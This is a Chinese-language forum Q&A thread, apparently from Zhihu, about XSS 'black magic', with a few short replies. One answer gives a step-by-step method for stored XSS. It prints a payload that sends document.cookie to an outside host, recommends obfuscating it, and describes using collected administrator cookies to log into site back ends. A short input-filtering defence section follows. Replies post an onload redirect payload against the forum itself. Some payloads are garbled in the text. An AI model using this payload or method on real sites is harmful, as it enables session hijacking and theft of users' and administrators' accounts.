XSS 攻擊有哪些黑魔法?


無恥的拉來前幾天寫的一個SVG的黑魔法
SVG XSS的一個黑魔法


svg呢。。。。


殘暴的jother
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如果可以讓 XSS 實時運行任意代碼。。。

雖然這樣很好很強大,但是,,用戶看完了這一頁內容,關了這個標籤就失聯了。


XSS的黑魔法真算不上黑魔法。XSS 全稱(Cross Site Scripting) 跨站腳本攻擊。當目標網站目標用戶瀏覽器渲染HTML文檔的過程中,出現了不被預期腳本指令並執行時,XSS就發生了。

XSS主要是用來給有漏洞的網站掛馬,盜竊用戶的cookie等,一般會把XSS分成三類:反射型XSS(非持久型)、存儲型XSS(持久型)和DOM XSS。

XSS是在用戶瀏覽器端執行的,使用最多的是存儲型XSS。如果要說XSS的黑魔法是什麼?那就是想一切辦法繞過目標網站的過濾,這樣你的XSS攻擊才能發揮作用。

說一下我測試XSS的過程(我是不會做壞事的):

1 找到目標網站,需要有表單輸入的網站,比如註冊,登錄,網站建議等有表單輸入的地方。
找到網站表單

只要有用戶輸入的地方,就有xss的容身之地。2 測試不被預期的腳本
最普通的xss攻擊就是提交js代碼腳本,比如

&

我們一般會通過存儲型攻擊去獲取網站的管理員密碼,也就是通過腳本獲取管理員的cookie信息然後模擬登陸。比如我們可以用下面的代碼,這段代碼提交到後台,如果目標網站的後台沒有處理xss的過濾,就會執行腳本。最好有一個後台伺服器,用來存儲管理員訪問這段腳本的,訪問頁面,cookie信息。

&var img = document.createElement("img");img.src="http://xxxx.com?c="+document.cookie;img.style.display="none";document.getElementsByTagName("body")[0].appendChild(img);&

最好把上面的代碼混淆一下更好。

比如我就記錄了一堆目標網站的信息

哈哈,有管理員的地址,還有cookie信息,直接進入後台。不要做壞事。

3 黑魔法
XSS的黑魔法是什麼想一切辦法繞過目標網站的過濾。

4 防範
過濾!過濾!過濾!
永遠不相信用戶的輸入永遠不相信用戶的輸入。永遠不相信用戶的輸入。需要對用戶的輸入進行處理,只允許輸入合法的值,其它值一概過濾掉。不要讓不可預期的腳本被在瀏覽器上執行,所以在前端和後端代碼上都加上過濾方法。過濾掉所有不可預期的腳本。


移動端成功了誒。


@知乎小管家 你們家話題頁面沒做XSS過濾你知道嘛


onload="javascript:location.href="http://www.baidu.com""

測試


有沒有用


誰幹的啊


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估計又是SSR的鍋


劍心當年把xss分段寫進一個頁面。


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TAG:網路安全 | 黑客Hacker | XSS | 黑客攻擊 | 知乎Bug反饋 |